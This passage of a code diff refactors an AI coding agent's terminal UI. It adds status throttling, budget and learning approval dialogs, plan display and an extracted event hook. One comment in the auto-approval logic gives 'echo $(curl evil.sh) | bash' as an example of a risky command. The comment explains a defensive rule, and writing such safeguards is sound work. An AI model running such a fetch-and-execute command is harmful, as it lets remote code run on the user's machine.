+ pendingStatusRef.current = null;
549
+ }
550
+ }, STATUS_MODE_THROTTLE_MS - elapsed);
551
+ }
552
+ }
553
+ }, []);
554
+ // Flush any pending throttled status update immediately (used on tool.complete
555
+ // to keep StatusBar in sync with ToolCallsPanel within the same render frame)
556
+ const flushStatusThrottle = useCallback(() => {
557
+ if (statusModeTimerRef.current) {
558
+ clearTimeout(statusModeTimerRef.current);
559
+ statusModeTimerRef.current = null;
560
+ }
561
+ if (pendingStatusRef.current) {
562
+ lastStatusModeUpdateRef.current = Date.now();
563
+ setStatus(pendingStatusRef.current);
564
+ pendingStatusRef.current = null;
565
+ }
566
+ }, []);
567
+ // Cleanup throttle timer
568
+ useEffect(() => {
569
+ return () => {
570
+ if (statusModeTimerRef.current)
571
+ clearTimeout(statusModeTimerRef.current);
572
+ };
573
+ }, []);
410
574
  const [toolCalls, setToolCalls] = useState([]);
411
575
  const [currentThemeName, setCurrentThemeName] = useState(theme);
412
- const [contextTokens, setContextTokens] = useState(0);
413
- const [budgetPct, setBudgetPct] = useState(0);
414
- const [elapsedTime, setElapsedTime] = useState(0);
415
- const processingStartRef = useRef(null);
576
+ // contextTokens, budgetPct, elapsedTime are now colocated in StatusBar component
416
577
  // Command history manager (persistent)
417
578
  const historyManagerRef = useRef(null);
418
579
  if (!historyManagerRef.current) {
@@ -433,6 +594,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
433
594
  const [debugExpanded, setDebugExpanded] = useState(false);
434
595
  const [swarmExpanded, setSwarmExpanded] = useState(true);
435
596
  const [diagExpanded, setDiagExpanded] = useState(false);
597
+ // Refs for values used inside handleAgentEvent — prevents subscription churn
598
+ // when user toggles these display settings
599
+ const showThinkingRef = useRef(showThinking);
600
+ showThinkingRef.current = showThinking;
601
+ const debugExpandedRef = useRef(debugExpanded);
602
+ debugExpandedRef.current = debugExpanded;
436
603
  // Swarm status tracking (for Swarm Status Panel)
437
604
  const [swarmStatus, setSwarmStatus] = useState(null);
438
605
  // Active agents tracking (for Active Agents Panel)
@@ -449,9 +616,15 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
449
616
  const [denyReason, setDenyReason] = useState('');
450
617
  // Session-scoped always-allowed patterns (e.g., "bash:npm test", "write_file:/path")
451
618
  const [alwaysAllowed, setAlwaysAllowed] = useState(new Set());
619
+ // Budget extension dialog state
620
+ const [pendingBudgetExtension, setPendingBudgetExtension] = useState(null);
621
+ // Learning validation dialog state
622
+ const [pendingLearning, setPendingLearning] = useState(null);
623
+ // Interactive plan display state
624
+ const [activePlan, setActivePlan] = useState(null);
625
+ const [planExpanded, setPlanExpanded] = useState(true);
452
626
  // Transparency state
453
627
  const [transparencyState, setTransparencyState] = useState(null);
454
- const transparencyAggregatorRef = useRef(null);
455
628
  // Consecutive Ctrl+C tracking for force exit
456
629
  const [ctrlCCount, setCtrlCCount] = useState(0);
457
630
  const ctrlCTimerRef = useRef(null);
@@ -462,6 +635,18 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
462
635
  isProcessingRef.current = isProcessing;
463
636
  messagesLengthRef.current = messages.length;
464
637
  pendingApprovalRef.current = pendingApproval;
638
+ const pendingBudgetExtensionRef = useRef(pendingBudgetExtension);
639
+ pendingBudgetExtensionRef.current = pendingBudgetExtension;
640
+ const pendingLearningRef = useRef(pendingLearning);
641
+ pendingLearningRef.current = pendingLearning;
642
+ // Memoize the approval request object to avoid defeating ApprovalDialog's memo
643
+ const approvalRequest = useMemo(() => pendingApproval ? {
644
+ id: pendingApproval.id,
645
+ tool: pendingApproval.tool || pendingApproval.action,
646
+ args: pendingApproval.args || {},
647
+ risk: pendingApproval.risk,
648
+ context: pendingApproval.context,
649
+ } : null, [pendingApproval]);
465
650
  const finishExecutionMode = useCallback(() => {
466
651
  if (executionDrainTimerRef.current) {
467
652
  clearTimeout(executionDrainTimerRef.current);
@@ -475,18 +660,20 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
475
660
  executionDrainTimerRef.current = null;
476
661
  }, 400);
477
662
  }, []);
478
- // Derive theme and colors
663
+ // Derive theme and colors (memoized so children relying on reference equality don't break)
479
664
  const selectedTheme = getTheme(currentThemeName);
480
- const colors = selectedTheme.colors;
665
+ const colors = useMemo(() => selectedTheme.colors, [currentThemeName]);
666
+ const { pruneIfNeeded } = useMessagePruning({ maxMessages: 500, preserveRecent: 400 });
481
667
  const messageIdCounter = useRef(0);
482
668
  const addMessage = useCallback((role, content) => {
483
669
  const uniqueId = `${role}-${Date.now()}-${++messageIdCounter.current}`;
484
- setMessages(prev => [...prev, { id: uniqueId, role, content, ts: new Date() }]);
485
- }, []);
670
+ setMessages((prev) => pruneIfNeeded([...prev, { id: uniqueId, role, content, ts: new Date() }]));
671
+ }, [pruneIfNeeded]);
486
672
  const persistPendingPlanToStore = useCallback(() => {
487
673
  if (!agent.hasPendingPlan())
488
674
  return;
489
- if (!('savePendingPlan' in sessionStore) || typeof sessionStore.savePendingPlan !== 'function') {
675
+ if (!('savePendingPlan' in sessionStore) ||
676
+ typeof sessionStore.savePendingPlan !== 'function') {
490
677
  return;
491
678
  }
492
679
  const pendingPlan = agent.getPendingPlan();
@@ -508,9 +695,10 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
508
695
  const pattern = generateApprovalPattern(request);
509
696
  // Only auto-approve low/moderate risk — high/critical always show dialog
510
697
  // This prevents e.g. approving "bash:echo" from auto-approving "echo $(curl evil.sh) | bash"
511
- const isAllowed = (request.risk === 'low' || request.risk === 'moderate') && (alwaysAllowed.has(pattern) ||
512
- // Prefix match: if we allowed write_file:src/api/, also allow write_file:src/api/sub/file.ts
513
- [...alwaysAllowed].some(p => pattern.startsWith(p) && p.endsWith('/')));
698
+ const isAllowed = (request.risk === 'low' || request.risk === 'moderate') &&
699
+ (alwaysAllowed.has(pattern) ||
700
+ // Prefix match: if we allowed write_file:src/api/, also allow write_file:src/api/sub/file.ts
701
+ [...alwaysAllowed].some((p) => pattern.startsWith(p) && p.endsWith('/')));
514
702
  if (isAllowed) {
515
703
  // Auto-approve without showing dialog
516
704
  approvalBridge?.resolve({ approved: true });
@@ -543,10 +731,11 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
543
731
  const handleAlwaysAllow = useCallback(() => {
544
732
  if (approvalBridge && pendingApprovalRef.current) {
545
733
  const pattern = generateApprovalPattern(pendingApprovalRef.current);
546
- setAlwaysAllowed(prev => new Set(prev).add(pattern));
734
+ setAlwaysAllowed((prev) => new Set(prev).add(pattern));
547
735
  // Persist to SQLite for session-scoped persistence
548
736
  const tool = pendingApprovalRef.current.tool || pendingApprovalRef.current.action || 'unknown';
549
- if ('rememberPermission' in sessionStore && typeof sessionStore.rememberPermission === 'function') {
737
+ if ('rememberPermission' in sessionStore &&
738
+ typeof sessionStore.rememberPermission === 'function') {
550
739
  sessionStore.rememberPermission(tool, 'always', pattern);
551
740
  }
552
741
  approvalBridge.resolve({ approved: true });
@@ -573,6 +762,97 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
573
762
  });
574
763
  }
575
764
  }, [approvalBridge, handleApprovalRequest]);
765
+ // Budget extension handlers
766
+ const handleBudgetExtensionRequest = useCallback((request) => {
767
+ setPendingBudgetExtension(request);
768
+ }, []);
769
+ const handleBudgetExtensionApprove = useCallback(() => {
770
+ if (budgetExtensionBridge && pendingBudgetExtensionRef.current) {
771
+ budgetExtensionBridge.resolve(pendingBudgetExtensionRef.current.suggestedExtension);
772
+ setPendingBudgetExtension(null);
773
+ }
774
+ }, [budgetExtensionBridge]);
775
+ const handleBudgetExtensionDeny = useCallback(() => {
776
+ if (budgetExtensionBridge && pendingBudgetExtensionRef.current) {
777
+ budgetExtensionBridge.resolve(null);
778
+ setPendingBudgetExtension(null);
779
+ }
780
+ }, [budgetExtensionBridge]);
781
+ // Connect budget extension bridge on mount
782
+ useEffect(() => {
783
+ if (budgetExtensionBridge) {
784
+ budgetExtensionBridge.connect({
785
+ onRequest: handleBudgetExtensionRequest,
786
+ });
787
+ }
788
+ }, [budgetExtensionBridge, handleBudgetExtensionRequest]);
789
+ // Learning validation handlers
790
+ const handleLearningRequest = useCallback((learning) => {
791
+ setPendingLearning(learning);
792
+ }, []);
793
+ const handleLearningApprove = useCallback(() => {
794
+ if (learningValidationBridge && pendingLearningRef.current) {
795
+ learningValidationBridge.resolve('approve');
796
+ setPendingLearning(null);
797
+ }
798
+ }, [learningValidationBridge]);
799
+ const handleLearningReject = useCallback(() => {
800
+ if (learningValidationBridge && pendingLearningRef.current) {
801
+ learningValidationBridge.resolve('reject');
802
+ setPendingLearning(null);
803
+ }
804
+ }, [learningValidationBridge]);
805
+ const handleLearningSkip = useCallback(() => {
806
+ if (learningValidationBridge && pendingLearningRef.current) {
807
+ learningValidationBridge.resolve('skip');
808
+ setPendingLearning(null);
809
+ }
810
+ }, [learningValidationBridge]);
811
+ // Connect learning validation bridge on mount
812
+ useEffect(() => {
813
+ if (learningValidationBridge) {
814
+ learningValidationBridge.connect({
815
+ onRequest: handleLearningRequest,
816
+ });
817
+ }
818
+ }, [learningValidationBridge, handleLearningRequest]);
819
+ // Subscribe to interactive planner events for plan display
820
+ useEffect(() => {
821
+ const planner = agent.getInteractivePlanner();
822
+ if (!planner)
823
+ return;
824
+ const unsub = planner.on((event) => {
825
+ if (event.type === 'plan.created') {
826
+ setActivePlan({
827
+ id: event.plan.id,
828
+ goal: event.plan.goal,
829
+ steps: event.plan.steps.map(s => ({
830
+ id: s.id,
831
+ number: s.number,
832
+ description: s.description,
833
+ status: s.status,
834
+ })),
835
+ status: event.plan.status,
836
+ currentStepIndex: event.plan.currentStepIndex,
837
+ });
838
+ setPlanExpanded(true);
839
+ }
840
+ else if (event.type === 'step.completed' || event.type === 'step.failed' || event.type === 'step.skipped') {
841
+ setActivePlan(prev => {
842
+ if (!prev)
843
+ return null;
844
+ return {
845
+ ...prev,
846
+ steps: prev.steps.map(s => s.id === event.step.id ? { ...s, status: event.step.status } : s),
847
+ };
848
+ });
849
+ }
850
+ else if (event.type === 'plan.completed' || event.type === 'plan.cancelled') {
851
+ setActivePlan(prev => prev ? { ...prev, status: event.type === 'plan.completed' ? 'completed' : 'cancelled' } : null);
852
+ }
853
+ });
854
+ return unsub;
855
+ }, [agent]);
576
856
  // Hydrate always-allowed patterns from SQLite on mount
577
857
  useEffect(() => {
578
858
  if ('hasRememberedPermissionsFeature' in sessionStore &&
@@ -582,7 +862,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
582
862
  typeof sessionStore.listRememberedPermissions === 'function') {
583
863
  const remembered = sessionStore.listRememberedPermissions();
584
864
  if (remembered.length > 0) {
585
- setAlwaysAllowed(prev => {
865
+ setAlwaysAllowed((prev) => {
586
866
  const next = new Set(prev);
587
867
  for (const r of remembered) {
588
868
  if (r.decision === 'always' && r.pattern)
@@ -594,395 +874,23 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
594
874
  }
595
875
  }, [sessionStore]);
596
876
  // =========================================================================
597
- // UNIFIED EVENT HANDLER
598
- // Consolidated handler for all agent events - prevents duplicate messages
877
+ // AGENT EVENT HANDLING (extracted to hook)
599
878
  // =========================================================================
600
- const handleAgentEvent = useCallback((event) => {
601
- const mode = executionModeRef.current;
602
- if (mode === 'idle')
603
- return; // No active execution, ignore events
604
- // Log event to debug buffer
605
- if (debugExpanded) {
606
- debugBuffer.debug(`Event: ${event.type}`, event);
607
- }
608
- // Extract subagent from event if present (not all events have it)
609
- const eventWithSubagent = event;
610
- const subagentPrefix = eventWithSubagent.subagent ? `[${eventWithSubagent.subagent}] ` : '';
611
- // -------------------------------------------------------------------------
612
- // Approving-only events (plan execution)
613
- // -------------------------------------------------------------------------
614
- if (mode === 'approving') {
615
- if (event.type === 'plan.approved') {
616
- const e = event;
617
- addMessage('system', `[PLAN] Executing ${e.changeCount} change(s)...`);
618
- return;
619
- }
620
- if (event.type === 'plan.executing') {
621
- const e = event;
622
- setStatus(s => ({ ...s, mode: `executing ${e.changeIndex + 1}/${e.totalChanges}` }));
623
- return;
624
- }
625
- }
626
- // -------------------------------------------------------------------------
627
- // Shared events (both processing and approving modes)
628
- // -------------------------------------------------------------------------
629
- // Subagent lifecycle events - also update Active Agents Panel
630
- if (event.type === 'agent.spawn') {
631
- const e = event;
632
- const agentId = e.agentId || `spawn-${Date.now()}`;
633
- addMessage('system', `[AGENT] Spawning ${e.name}: ${e.task.slice(0, 100)}${e.task.length > 100 ? '...' : ''}`);
634
- // Add to active agents panel
635
- setActiveAgents(prev => [...prev, {
636
- id: agentId,
637
- type: e.name,
638
- task: e.task,
639
- status: 'running',
640
- tokens: 0,
641
- startTime: Date.now(),
642
- }]);
643
- return;
644
- }
645
- if (event.type === 'agent.complete') {
646
- const e = event;
647
- const statusText = e.success ? 'completed' : 'failed';
648
- const displayName = e.agentType || e.agentId;
649
- addMessage('system', `[AGENT] ${displayName} ${statusText}`);
650
- // Show output preview if substantive (increased from 300 to 1000 chars)
651
- if (e.output && e.output.length > 50) {
652
- const preview = e.output.slice(0, 1000);
653
- const truncated = e.output.length > 1000;
654
- addMessage('system', `[AGENT OUTPUT]\n${preview}${truncated ? `\n...(full output: ${e.output.length} chars)` : ''}`);
655
- }
656
- // Update active agents panel - use strict ID matching
657
- setActiveAgents(prev => prev.map(a => a.id === e.agentId
658
- ? { ...a, status: e.success ? 'completed' : 'error' }
659
- : a));
660
- return;
661
- }
662
- if (event.type === 'agent.error') {
663
- const e = event;
664
- const displayName = e.agentType || e.agentId;
665
- addMessage('system', `[AGENT] ${displayName} error: ${e.error}`);
666
- // For timeout errors, use 'timing_out' status first to indicate the agent
667
- // is in the process of stopping. Then transition to 'timeout' after a delay.
668
- // This provides better UX than immediately showing "failed" while tokens accumulate.
669
- const isTimeout = e.error.includes('timed out') || e.error.includes('Timed out');
670
- if (isTimeout) {
671
- // First, mark as timing_out - use strict ID matching
672
- setActiveAgents(prev => prev.map(a => a.id === e.agentId
673
- ? { ...a, status: 'timing_out' }
674
- : a));
675
- // After 3 seconds, transition to final timeout status
676
- // (agent should have stopped by then due to cancellation token check)
677
- setTimeout(() => {
678
- setActiveAgents(prev => prev.map(a => a.id === e.agentId && a.status === 'timing_out'
679
- ? { ...a, status: 'timeout' }
680
- : a));
681
- }, 3000);
682
- }
683
- else {
684
- // Regular error - set immediately with strict ID matching
685
- setActiveAgents(prev => prev.map(a => a.id === e.agentId
686
- ? { ...a, status: 'error' }
687
- : a));
688
- }
689
- return;
690
- }
691
- if (event.type === 'agent.pending_plan') {
692
- const e = event;
693
- addMessage('system', `[AGENT] ${e.agentId} queued ${e.changes.length} change(s) to pending plan`);
694
- return;
695
- }
696
- // Tool events
697
- if (event.type === 'tool.start') {
698
- const e = event;
699
- const displayName = e.subagent ? `${e.subagent}:${e.tool}` : e.tool;
700
- setStatus(s => ({ ...s, mode: `calling ${displayName}` }));
701
- setToolCalls(prev => [...prev.slice(-4), {
702
- id: `${displayName}-${Date.now()}`,
703
- name: displayName,
704
- args: e.args || {},
705
- status: 'running',
706
- startTime: new Date(),
707
- }]);
708
- return;
709
- }
710
- if (event.type === 'tool.complete') {
711
- const e = event;
712
- const displayName = e.subagent ? `${e.subagent}:${e.tool}` : e.tool;
713
- const modeText = e.subagent ? `${e.subagent} thinking` : (mode === 'approving' ? 'executing plan' : 'thinking');
714
- setStatus(s => ({ ...s, mode: modeText }));
715
- setToolCalls(prev => prev.map(t => t.name === displayName ? {
716
- ...t,
717
- status: 'success',
718
- result: e.result,
719
- duration: t.startTime ? Date.now() - t.startTime.getTime() : undefined,
720
- } : t));
721
- return;
722
- }
723
- if (event.type === 'tool.blocked') {
724
- const e = event;
725
- const displayName = e.subagent ? `${e.subagent}:${e.tool}` : e.tool;
726
- setToolCalls(prev => prev.map(t => t.name === displayName ? {
727
- ...t,
728
- status: 'error',
729
- error: e.reason || 'Blocked',
730
- } : t));
731
- return;
732
- }
733
- // LLM events
734
- if (event.type === 'llm.start') {
735
- const e = event;
736
- const modeText = e.subagent ? `${e.subagent} thinking` : (mode === 'approving' ? 'executing plan' : 'thinking');
737
- setStatus(s => ({ ...s, mode: modeText, iter: s.iter + 1 }));
738
- return;
739
- }
740
- if (event.type === 'llm.complete' && eventWithSubagent.subagent && showThinking) {
741
- const e = event;
742
- const thinking = e.response?.thinking;
743
- if (thinking) {
744
- const preview = thinking.length > 500 ? thinking.slice(0, 500) + '...' : thinking;
745
- addMessage('system', `[${eventWithSubagent.subagent}] ${preview}`);
746
- }
747
- return;
748
- }
749
- // Error events
750
- if (event.type === 'error') {
751
- const e = event;
752
- const prefix = e.subagent ? `[${e.subagent} ERROR]` : '[ERROR]';
753
- const errorMsg = typeof e.error === 'string' ? e.error : e.error?.message || 'Unknown error';
754
- addMessage('error', `${prefix} ${errorMsg}`);
755
- return;
756
- }
757
- if (event.type === 'completion.blocked') {
758
- const e = event;
759
- const details = e.reasons?.length ? e.reasons.join('\n') : 'Completion blocked by unresolved work.';
760
- const openTasksLine = e.openTasks
761
- ? `Open tasks: ${e.openTasks.pending} pending, ${e.openTasks.inProgress} in_progress, ${e.openTasks.blocked} blocked`
762
- : '';
763
- const constrainedLine = e.diagnostics?.forceTextOnly
764
- ? 'Task continuation is currently suppressed by budget/wrapup force-text mode.'
765
- : '';
766
- addMessage('system', `[INCOMPLETE]\n${details}${openTasksLine ? `\n${openTasksLine}` : ''}${constrainedLine ? `\n${constrainedLine}` : ''}`);
767
- setStatus(s => ({ ...s, mode: 'incomplete' }));
768
- return;
769
- }
770
- // Insight events - also track tokens for active agents
771
- if (event.type === 'insight.tokens') {
772
- const e = event;
773
- if (showThinking) {
774
- let cacheStr = '';
775
- if (e.cacheReadTokens && e.cacheReadTokens > 0) {
776
- cacheStr += ` [cached: ${e.cacheReadTokens.toLocaleString()}]`;
777
- }
778
- if (e.cacheWriteTokens && e.cacheWriteTokens > 0) {
779
- cacheStr += ` [cache-write: ${e.cacheWriteTokens.toLocaleString()}]`;
780
- }
781
- addMessage('system', `${subagentPrefix}* ${e.inputTokens.toLocaleString()} in, ${e.outputTokens.toLocaleString()} out${cacheStr}${e.cost ? ` $${e.cost.toFixed(6)}` : ''}`);
782
- }
783
- // Update tokens for active agent if this event is from a subagent
784
- // IMPORTANT: Don't update tokens for agents that are timing_out/timeout/error
785
- // These agents should have stopped, and any lingering events are from
786
- // zombie processes that we don't want to count.
787
- if (e.subagent || eventWithSubagent.subagent) {
788
- const subagentId = e.subagentId || eventWithSubagent.subagentId;
789
- const agentName = e.subagent || eventWithSubagent.subagent;
790
- setActiveAgents(prev => prev.map(a => {
791
- // Use strict ID matching when subagentId is available (prevents duplicate counting
792
- // when multiple agents of the same type run in parallel)
793
- const matchesAgent = subagentId
794
- ? a.id === subagentId
795
- : (a.type === agentName || a.id.includes(agentName || ''));
796
- const isStillRunning = a.status === 'running';
797
- // Only update tokens if agent is still running
798
- if (matchesAgent && isStillRunning) {
799
- return { ...a, tokens: a.tokens + (e.inputTokens || 0) + (e.outputTokens || 0) };
800
- }
801
- return a;
802
- }));
803
- }
804
- return;
805
- }
806
- // Resilience events
807
- if (event.type === 'resilience.retry') {
808
- const e = event;
809
- addMessage('system', `[RETRY] ${e.reason} (${e.attempt}/${e.maxAttempts})`);
810
- return;
811
- }
812
- if (event.type === 'resilience.recovered') {
813
- const e = event;
814
- addMessage('system', `[RECOVERED] ${e.reason} after ${e.attempts} attempt(s)`);
815
- return;
816
- }
817
- // Subagent visibility events - also update Active Agents Panel
818
- if (event.type === 'subagent.iteration') {
819
- const e = event;
820
- setStatus(s => ({ ...s, mode: `${e.agentId} iter ${e.iteration}/${e.maxIterations}` }));
821
- // Update active agents panel with iteration info
822
- // Use subagentId for strict matching when available (parallel same-type agents)
823
- setActiveAgents(prev => prev.map(a => {
824
- const matches = e.subagentId
825
- ? a.id === e.subagentId
826
- : (a.type === e.agentId || a.id.includes(e.agentId));
827
- return matches ? { ...a, iteration: e.iteration, maxIterations: e.maxIterations } : a;
828
- }));
829
- return;
830
- }
831
- if (event.type === 'subagent.phase') {
832
- const e = event;
833
- setStatus(s => ({ ...s, mode: `${e.agentId} ${e.phase}` }));
834
- // Update active agents panel with phase info
835
- // Use subagentId for strict matching when available (parallel same-type agents)
836
- setActiveAgents(prev => prev.map(a => {
837
- const matches = e.subagentId
838
- ? a.id === e.subagentId
839
- : (a.type === e.agentId || a.id.includes(e.agentId));
840
- return matches ? { ...a, currentPhase: e.phase } : a;
841
- }));
842
- return;
843
- }
844
- // Task events - update Tasks Panel
845
- if (event.type === 'task.created') {
846
- const e = event;
847
- setTasks(prev => [...prev, e.task]);
848
- addMessage('system', `[TASK] Created: ${e.task.subject}`);
849
- return;
850
- }
851
- if (event.type === 'task.updated') {
852
- const e = event;
853
- setTasks(prev => prev.map(t => t.id === e.task.id ? e.task : t));
854
- // Only log status changes
855
- addMessage('system', `[TASK] ${e.task.subject}: ${e.task.status}`);
856
- return;
857
- }
858
- // Swarm events - update Swarm Status Panel
859
- if (event.type === 'swarm.status') {
860
- const e = event;
861
- setSwarmStatus(e.status);
862
- return;
863
- }
864
- if (event.type === 'swarm.start') {
865
- const e = event;
866
- addMessage('system', `[SWARM] Starting: ${e.taskCount} tasks in ${e.waveCount} waves`);
867
- return;
868
- }
869
- if (event.type === 'swarm.wave.start') {
870
- const e = event;
871
- addMessage('system', `[SWARM] Wave ${e.wave}/${e.totalWaves}: dispatching ${e.taskCount} tasks`);
872
- return;
873
- }
874
- if (event.type === 'swarm.wave.complete') {
875
- const e = event;
876
- addMessage('system', `[SWARM] Wave ${e.wave}/${e.totalWaves} complete: ${e.completed} done${e.failed > 0 ? `, ${e.failed} failed` : ''}${e.skipped > 0 ? `, ${e.skipped} skipped` : ''}`);
877
- return;
878
- }
879
- if (event.type === 'swarm.task.dispatched') {
880
- const e = event;
881
- addMessage('system', `[SWARM] ${e.taskId} -> ${e.workerName} (${e.model.split('/').pop()}): ${e.description.slice(0, 80)}`);
882
- return;
883
- }
884
- if (event.type === 'swarm.task.completed') {
885
- const e = event;
886
- addMessage('system', `[SWARM] ${e.taskId} ${e.success ? 'completed' : 'failed'} (${(e.tokensUsed / 1000).toFixed(1)}k tokens, $${e.costUsed.toFixed(4)}, ${(e.durationMs / 1000).toFixed(1)}s)`);
887
- return;
888
- }
889
- if (event.type === 'swarm.task.failed') {
890
- const e = event;
891
- addMessage('system', `[SWARM] ${e.taskId} failed: ${e.error}${e.willRetry ? ' (will retry)' : ''}`);
892
- return;
893
- }
894
- if (event.type === 'swarm.task.skipped') {
895
- const e = event;
896
- addMessage('system', `[SWARM] ${e.taskId} skipped: ${e.reason}`);
897
- return;
898
- }
899
- if (event.type === 'swarm.quality.rejected') {
900
- const e = event;
901
- addMessage('system', `[SWARM] ${e.taskId} quality rejected (${e.score}/5): ${e.feedback.slice(0, 100)}`);
902
- return;
903
- }
904
- if (event.type === 'swarm.complete') {
905
- const e = event;
906
- addMessage('system', `[SWARM] Complete: ${e.stats.completedTasks}/${e.stats.totalTasks} tasks, ${(e.stats.totalTokens / 1000).toFixed(0)}k tokens, $${e.stats.totalCost.toFixed(4)}`);
907
- // Clear swarm status after completion (leave panel visible briefly)
908
- setTimeout(() => setSwarmStatus(null), 5000);
909
- return;
910
- }
911
- if (event.type === 'swarm.error') {
912
- const e = event;
913
- addMessage('error', `[SWARM ERROR] ${e.phase}: ${e.error}`);
914
- return;
915
- }
916
- // -------------------------------------------------------------------------
917
- // Processing-only events (normal message submission)
918
- // -------------------------------------------------------------------------
919
- if (mode === 'processing') {
920
- if (event.type === 'plan.change.queued') {
921
- const e = event;
922
- const summary = e.summary ? `: ${e.summary}` : '';
923
- const prefix = e.subagent ? `[${e.subagent} PLAN]` : '[PLAN]';
924
- addMessage('system', `${prefix} Queued ${e.tool}${summary}`);
925
- return;
926
- }
927
- if (event.type === 'plan.change.complete') {
928
- const e = event;
929
- if (e.error) {
930
- addMessage('system', `[PLAN ${e.changeIndex + 1}] ${e.tool} FAILED: ${e.error}`);
931
- }
932
- else if (e.tool === 'spawn_agent' && e.result) {
933
- const output = typeof e.result === 'object' && e.result !== null && 'output' in e.result
934
- ? String(e.result.output)
935
- : String(e.result);
936
- const preview = output.length > 800 ? output.slice(0, 800) + '\n... (truncated)' : output;
937
- addMessage('system', `[PLAN ${e.changeIndex + 1}] ${e.tool} result:\n${preview}`);
938
- }
939
- else {
940
- addMessage('system', `[PLAN ${e.changeIndex + 1}] ${e.tool} completed`);
941
- }
942
- return;
943
- }
944
- if (event.type === 'cache.hit' && showThinking) {
945
- const e = event;
946
- addMessage('system', `[CACHE HIT] similarity: ${(e.similarity * 100).toFixed(0)}%`);
947
- return;
948
- }
949
- if (event.type === 'cache.miss' && showThinking) {
950
- addMessage('system', `[CACHE MISS]`);
951
- return;
952
- }
953
- if (event.type === 'compaction.auto') {
954
- const e = event;
955
- const before = (e.tokensBefore / 1000).toFixed(1);
956
- const after = (e.tokensAfter / 1000).toFixed(1);
957
- addMessage('system', `[COMPACT] ${before}k -> ${after}k tokens (${e.messagesCompacted} messages)`);
958
- return;
959
- }
960
- if (event.type === 'compaction.warning' && showThinking) {
961
- const e = event;
962
- const pct = Math.round((e.currentTokens / e.threshold) * 100);
963
- addMessage('system', `[!] Context at ${pct}% of threshold`);
964
- return;
965
- }
966
- }
967
- }, [addMessage, showThinking]);
968
- // Set up transparency aggregator and subscribe to agent events
969
- useEffect(() => {
970
- const aggregator = new TransparencyAggregator();
971
- transparencyAggregatorRef.current = aggregator;
972
- // Subscribe to state changes
973
- const unsubscribeAggregator = aggregator.subscribe((state) => {
974
- setTransparencyState(state);
975
- });
976
- // Subscribe to agent events
977
- const unsubscribeAgent = agent.subscribe((event) => {
978
- aggregator.processEvent(event);
979
- handleAgentEvent(event); // Unified event handler for TUI display
980
- });
981
- return () => {
982
- unsubscribeAggregator();
983
- unsubscribeAgent();
984
- };
985
- }, [agent, handleAgentEvent]);
879
+ const transparencyAggregatorRef = useAgentEvents({
880
+ agent,
881
+ refs: { executionModeRef, showThinkingRef, debugExpandedRef },
882
+ setters: {
883
+ setStatusThrottled,
884
+ flushStatusThrottle,
885
+ setToolCalls,
886
+ setActiveAgents,
887
+ setTasks,
888
+ setSwarmStatus,
889
+ setTransparencyState,
890
+ },
891
+ addMessage,
892
+ debugBuffer,
893
+ });
986
894
  // =========================================================================
987
895
  // COMMAND HANDLER
988
896
  // =========================================================================
@@ -1153,7 +1061,8 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1153
1061
  addMessage('system', `Loading session: ${targetSession.id}\n Created: ${new Date(targetSession.createdAt).toLocaleString()}\n Messages: ${targetSession.messageCount}`);
1154
1062
  // Try to load from checkpoint first
1155
1063
  let loadCheckpointData;
1156
- if ('loadLatestCheckpoint' in sessionStore && typeof sessionStore.loadLatestCheckpoint === 'function') {
1064
+ if ('loadLatestCheckpoint' in sessionStore &&
1065
+ typeof sessionStore.loadLatestCheckpoint === 'function') {
1157
1066
  const sqliteCheckpoint = sessionStore.loadLatestCheckpoint(targetSession.id);
1158
1067
  if (sqliteCheckpoint?.state) {
1159
1068
  loadCheckpointData = sqliteCheckpoint.state;
@@ -1200,23 +1109,31 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1200
1109
  }
1201
1110
  case 'tasks': {
1202
1111
  // Filter out deleted tasks
1203
- const visibleTasks = tasks.filter(t => t.status !== 'deleted');
1112
+ const visibleTasks = tasks.filter((t) => t.status !== 'deleted');
1204
1113
  if (visibleTasks.length === 0) {
1205
1114
  addMessage('system', 'No tasks. Tasks are created when the agent uses task_create tool.');
1206
1115
  return;
1207
1116
  }
1208
1117
  // Count by status
1209
- const pending = visibleTasks.filter(t => t.status === 'pending').length;
1210
- const inProgress = visibleTasks.filter(t => t.status === 'in_progress').length;
1211
- const completed = visibleTasks.filter(t => t.status === 'completed').length;
1118
+ const pending = visibleTasks.filter((t) => t.status === 'pending').length;
1119
+ const inProgress = visibleTasks.filter((t) => t.status === 'in_progress').length;
1120
+ const completed = visibleTasks.filter((t) => t.status === 'completed').length;
1212
1121
  // Format task list
1213
- const taskLines = visibleTasks.map(t => {
1214
- const isBlocked = t.blockedBy.some(id => {
1215
- const blocker = visibleTasks.find(bt => bt.id === id);
1122
+ const taskLines = visibleTasks.map((t) => {
1123
+ const isBlocked = t.blockedBy.some((id) => {
1124
+ const blocker = visibleTasks.find((bt) => bt.id === id);
1216
1125
  return blocker && blocker.status !== 'completed';
1217
1126
  });
1218
- const icon = isBlocked ? '◌' : t.status === 'completed' ? '✓' : t.status === 'in_progress' ? '●' : '○';
1219
- const blockedInfo = isBlocked ? ` (blocked by: ${t.blockedBy.slice(0, 2).join(', ')})` : '';
1127
+ const icon = isBlocked
1128
+ ? ''
1129
+ : t.status === 'completed'
1130
+ ? '✓'
1131
+ : t.status === 'in_progress'
1132
+ ? '●'
1133
+ : '○';
1134
+ const blockedInfo = isBlocked
1135
+ ? ` (blocked by: ${t.blockedBy.slice(0, 2).join(', ')})`
1136
+ : '';
1220
1137
  const activeInfo = t.status === 'in_progress' && t.activeForm ? `\n └ ${t.activeForm}...` : '';
1221
1138
  return ` ${icon} ${t.id} ${t.subject}${blockedInfo}${activeInfo}`;
1222
1139
  });
@@ -1241,13 +1158,15 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
1241
1158
  const agentToolTokens = agentTools.length * 150;
1242
1159
  const convTokens = agentState.messages
1243
1160
  .filter((m) => m.role !== 'system')
1244
